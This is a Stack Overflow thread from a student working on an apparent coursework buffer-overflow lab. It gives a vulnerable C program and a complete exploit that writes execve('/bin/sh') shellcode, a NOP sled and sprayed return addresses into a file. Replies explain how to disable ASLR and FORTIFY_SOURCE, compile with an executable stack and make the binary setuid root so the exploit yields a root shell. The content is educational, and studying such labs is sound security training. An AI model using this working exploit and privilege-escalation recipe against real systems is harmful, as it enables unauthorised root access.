4

Below is my code, both the vulnerable program (stack.c) and my exploit (exploit.c). This code works on a pre-packaged Ubuntu 9 that the prof sent out for windows users (I had a friend test it on his computer), but on Ubuntu 12 that I run on my iMac, i get segfaults when I try and do this in a normal user.

here's stack:

//stack.c
#include <stdio.h>

int bof(char *str)
{
char buffer[12];

//BO Vulnerability
strcpy(buffer,str);

return 1;
}

int main(int argc, char* argv[])
{
char str[517];

FILE *badfile;
    badfile = fopen("badfile","r");

fread(str, sizeof(char),517, badfile);
bof(str);

printf("Returned Properly\n");
return 1;
}

and exploit:

//exploit.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define DEFAULT_OFFSET 350 

char code[]=
"\x31\xc0" 
"\x50" 
"\x68""//sh" 
"\x68""/bin" 
"\x89\xe3" 
"\x50" 
"\x53" 
"\x89\xe1"
"\x99"
"\xb0\x0b" 
"\xcd\x80"
;

unsigned long get_sp(void)
{
     __asm__("movl %esp,%eax");
}

void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;
char *ptr;
long *a_ptr,ret;

int offset = DEFAULT_OFFSET;
int codeSize = sizeof(code);
int buffSize = sizeof(buffer);

if(argc > 1) offset = atoi(argv[1]); //allows for command line input

ptr=buffer;
a_ptr = (long *) ptr;

/* Initialize buffer with 0x90 (NOP instruction) */
memset(buffer, 0x90, buffSize);

//----------------------BEGIN FILL BUFFER----------------------\\

ret = get_sp()+offset;
    printf("Return Address: 0x%x\n",get_sp());
    printf("Address: 0x%x\n",ret);

ptr = buffer;
    a_ptr = (long *) ptr;

int i;
for (i = 0; i < 300;i+=4)
    *(a_ptr++) = ret;

for(i = 486;i < codeSize + 486;++i)
    buffer[i] = code[i-486];

buffer[buffSize - 1] = '\0';
//-----------------------END FILL BUFFER-----------------------\\


/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer,517,1,badfile);
fclose(badfile);    
}

To compile these within Ubuntu 12 I used:

gcc -o stack -fno-stack-protector -g -z execstack stack.c
gcc -o exploit exploit.c

Again, it works in a root user, just not a regular user; example

Anyways, this is due at midnight and I limped my way through the rest of the assignment with this restriction, but I'd much rather complete it properly if someone has a suggestion. Figured I'd call in the experts before throwing in the towel. I'm looking to see why, this code, will not work in a normal user (as it should, and does on older versions of ubuntu) but does work in a root user. what do i need to change to make this work in the normal user also.

jww
  • 97,681
  • 90
  • 411
  • 885
  • What's your question? Do you want to know why it segfaults for the regular user, or why it doesn't segfault for root? – Barmar Feb 15 '13 at 21:32
  • 1
    Voted to close. Contact the author of the exploit code vector for "support". – Kaz Feb 15 '13 at 21:33
  • `void main()` says it all. – wildplasser Feb 15 '13 at 21:58
  • @Barmar I'm sorry, should have been more clear. I want to know why it segfaults in a regular user. – Jordan Wayne Crabb Feb 15 '13 at 22:29
  • @wildplasser,would you mind expanding upon that? – Jordan Wayne Crabb Feb 15 '13 at 22:31
  • Because you're writing past the end of the buffer, which overwrites memory in unpredictable ways. ASLR is probably preventing the exploit from working as intended. – Barmar Feb 15 '13 at 22:34
  • @barmar randomization is turned off for this assignment, but where do i write over the end of buffer? trying to add the shellcode seems like the most logical place i would do that. should i just move that up some? *trying that now* – Jordan Wayne Crabb Feb 15 '13 at 22:45
  • `strcpy(buffer, str)` in `bof()`. It's copying a 517-character string to a 12-character buffer. – Barmar Feb 15 '13 at 22:53
  • @barmar, that's the point of the assignment, is to use that buffer overflow to get a root shell in a normal user using exploit.c [ORIGINAL ASSIGNMENT, TASK 1](http://www.cis.syr.edu/~wedu/seed/Labs/Vulnerability/Buffer_Overflow/) – Jordan Wayne Crabb Feb 15 '13 at 22:56
  • Did you notice the comment in the assignment that says it's OS-dependent? – Barmar Feb 15 '13 at 23:33
  • @barmar, it should still work though. if i need to change an extra setting or something that is what i'm looking for. I understand why buffer overflows are bad, but I was trying to get this to work, on the system I have available to me, to complete my homework. I'm looking to see why, this code, will not work in a normal user (as it should, and does on older versions of ubuntu) but does work in a root user. what do i need to change to make this work in the normal user also. – Jordan Wayne Crabb Feb 15 '13 at 23:39
  • You might also set the executable stack in the linker command in addition to the compiler command. Plus, when using NX or X stacks, you usually pass it with `-Wl,-z,noexecstack`. In you case, probably `-Wl,-z,execstack`. – jww Mar 26 '14 at 09:17
  • I believe the problem is in the call to `strcpy`. There's some built in defenses that are being used by default. For testing this code, you need to use `-U_FORTIFY_SOURCE` or `-D_FORTIFY_SOURCE=0`. I can't add it as an answer because the question is locked. (I believe its locked incorrectly, and I voted to reopen). – jww Sep 12 '14 at 12:23

1 Answers1

0

I just ran the code that you provided on a Ubuntu 12.04 VM and it worked fine. My guess is that you didn't turn off ASLR. Try it again with ASLR disabled by either

sudo su    
echo 0 > /proc/sys/kernel/randomize_va_space
exit

or

setarch `uname -i` -R ./stack

of course in order for it to spawn a root shell you will need to first do:

sudo chown root:root stack
sudo chmod u+s stack

Hope this helps ...

Stephen
  • 2,613
  • 1
  • 24
  • 42
  • I think that last bit may come in handy for a later task! I've been doing "sysctl -w kernel.randomize_va_space=0" in a root user which echoes that it should be equal to zero, meaning ASLR is off correct? I"m trying the setarch line, it said that setarch -R was unrecognized architecture. looking into that now. – Jordan Wayne Crabb Feb 16 '13 at 00:14
  • Ya, still segfaults in both of them after double checking ASLR. executing stack no longer says "(core dumped)" at the end of the segfault after doing the chown/chmod commands. – Jordan Wayne Crabb Feb 16 '13 at 00:25
  • setting randomize_va_space=0 will definitely turn off ASLR. – Stephen Feb 16 '13 at 00:43
  • setarch is complaining because you didn't give it an architecture as the first argument. uname -i will print the current architecture. Putting it in backtics (i.e. \`uname -i\`) as the first argument to setarch should always work. Presumably you know what the architecture is already so you can just pass that as the argument directly (i386 for 32 bit Linux, x86_64 for 64 bit Linux). Your shellcode is definitely 32 bit, so if your machine is 64bit you will neet to give gcc the flag -m32 If you use setarch to turn off ASLR the command should look like: setarch i386 -R ./exploit – Stephen Feb 16 '13 at 00:50
  • followed by: setarch i386 -R ./stack It is important that ASLR is turned off during the execution of both ./exploit and ./stack because ./exploit is determining the location of the start of the shellcode. The address space must not be randomized when it does this. – Stephen Feb 16 '13 at 00:53
  • Ah, okay. I understand that now. I have a 32bit system on the VM. I tried that setarch step but both still segfaulted with i386 and i686 (all i saw for uname -a was i686) :/ – Jordan Wayne Crabb Feb 16 '13 at 01:05
  • ./stack will always segfault if `badfile` does not exist. Since ./expoit is responsible for making the file the next step should be to figure out why it is segfaulting. I would run ./exploit in gdb to figure out what instruction is causing the segfault. Also double check that it has the permissions to create the file in the first place (e.g. make sure the directory is not owned by root etc ...) – Stephen Feb 16 '13 at 01:16
  • I just removed write permissions for the directory where `./exploit` was and that caused it to segfault for me too. Check the permissions on the directory where `./exploit` lives. The reason for the segfault (if indeed this is a permissions issue for you) is that there is an `fopen` call followed by a `fwrite` call. If the file failed to open for writing, the `fwrite` call will segfault. – Stephen Feb 16 '13 at 01:24
  • I'm not quite sure what change did it, but when i walked through exploit in gdb it worked. and is now working in a regular user. I'm baffled. lol – Jordan Wayne Crabb Feb 16 '13 at 01:41